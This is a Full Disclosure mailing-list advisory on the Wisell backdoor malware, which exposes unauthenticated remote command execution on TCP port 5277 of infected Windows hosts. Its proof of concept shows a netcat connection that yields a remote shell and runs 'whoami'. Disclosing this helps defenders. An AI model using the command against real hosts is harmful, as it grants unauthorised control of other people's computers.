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Date: Thu, 7 Apr 2022 00:07:29 -0400 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Wisell / Unauthenticated Remote Command Execution Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/837ec70bfb305b5c862ff9b04e70a318.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wisell Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 5277. Third-party adversaries who can reach an infected host can run any OS commands. Family: Wisell Type: PE32 MD5: 837ec70bfb305b5c862ff9b04e70a318 Vuln ID: MVID-2022-0536 Disclosure: 04/06/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 5277 WinShell v1.0 - '!' to quit, 'enter' to shell... Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\dump>whoami whoami desktop-2c3iqho\victim Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
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